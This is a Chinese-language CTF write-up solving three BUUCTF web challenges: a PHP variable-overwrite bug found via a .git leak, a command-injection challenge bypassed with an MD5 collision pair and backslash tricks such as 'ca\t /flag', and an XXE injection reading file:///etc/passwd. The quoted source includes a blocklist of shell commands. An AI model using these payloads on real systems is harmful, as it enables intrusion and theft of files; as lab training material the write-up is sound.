目录
[BJDCTF2020]Mark loves cat
buu不能用御剑这类的工具扫,但是可以用burp设置线程小一点,虽然慢,但是比没有好,这个题是.git泄露,用githack获取源码
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //GET方式传flag只能传一个flag=flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //GET和POST其中之一必须传flag
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //GET和POST传flag,必须不能是flag=flag
exit($is);
}
echo "the flag is: ".$flag;
?>
PHP foreach 循环
该foreach
循环仅适用于数组,用于循环遍历数组中的每个键/值对。
语法
foreach ($array as $value) { code to be executed; }
举个栗子
对于每次循环迭代,将当前数组元素的值分配给 $value 并将数组指针移动 1,直到它到达最后一个数组元素。
这里有变量覆盖漏洞,前两个foreach语句分别将POST参数和GET参数进行变量覆盖,接着是三个if语句,exit()函数退出脚本的同时输出变量,最后一句是输出我们想要的flag。
先看第一个GET传flag
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //GET方式传flag只能传一个flag=flag
exit($handsome);
}
}
如果 get型flag参数绝对等于变量名并且变量名等不等于flag则执行 exit($handsome)
,如果我们传参?flag=abc&abc=123,输出$handsome,但是这个写法会在前面进行变量覆盖的时候让$flag=$abc(会报错,因为$abc不存在),所以这里不行
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //GET和POST其中之一必须传flag
exit($yds);
}
如果GET和POST都没有传flag参数,则执行exit($yds);这里可以传?yds=flag
,经过变量覆盖之后就$yds = $flag
,从而输出$flag
的值。
第三个位置
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //GET和POST传flag,必须不能是flag=flag
exit($is);
}
判断条件为$_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'
,这里可以通过满足后面这个条件进行变量覆盖:GET传参is=flag&flag=flag;在第二个foreach语句中,首先是$x=is
,$y=flag
,带进去就变成了$is=$flag
,这就达到了覆盖的目的,而参数中flag=flag只是为了满足if语句;
总结:
有些命令给出来可能是迷惑人的,要好好的审!
学到了foreach!
[安洵杯 2019]easy_web
打开题目发现url上有?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
base64解码一下MzUzNTM1MmU3MDZlNjc=
再解码3535352e706e67
Ctrl+U查看源代码发现有一大串base64加密,那我们就换行看看后面隐藏了什么好东西
MD5 is funny(我也这么认为
应该和MD5有关,但是思路断了,那就抓包看看消息头,没有东西。。
回头再看哪个base64两次解码出来的东西,那就hex解码一下
555.png
因为源代码里面有MD5加密所以我把index.php也hex编码,然后两次base64试试,看能不能读到源码;就这么读到了!
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
注意!!
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
MD5强碰撞?冲!掏出以前的笔记
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
POST传一下
然后会返回cmd里面的结果!ls一下吧,啊哦!ls被禁了,但是\没有被禁!所以payload:
l\s
没有flag,那就
ca\t%20/flag
拿下!
总结:
可以用l\s来bypass
[NCTF2019]Fake XML cookbook
看这个名字应该是个XXE注入!抓包!
很明显,username和password都是xml格式,且返回的包中msg标签内的内容就是我们username的内容,所以我们的注入点就在username!
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user>
<username>
&admin;
</username>
<password>
123456
</password>
</user>
读到了!
根据经验,flag在根目录!!
总结:
学习了XXE之后还没做过题,这是第一个题,就当是复习了吧!!
感谢BUU提供优质题,感谢勤奋的自己!!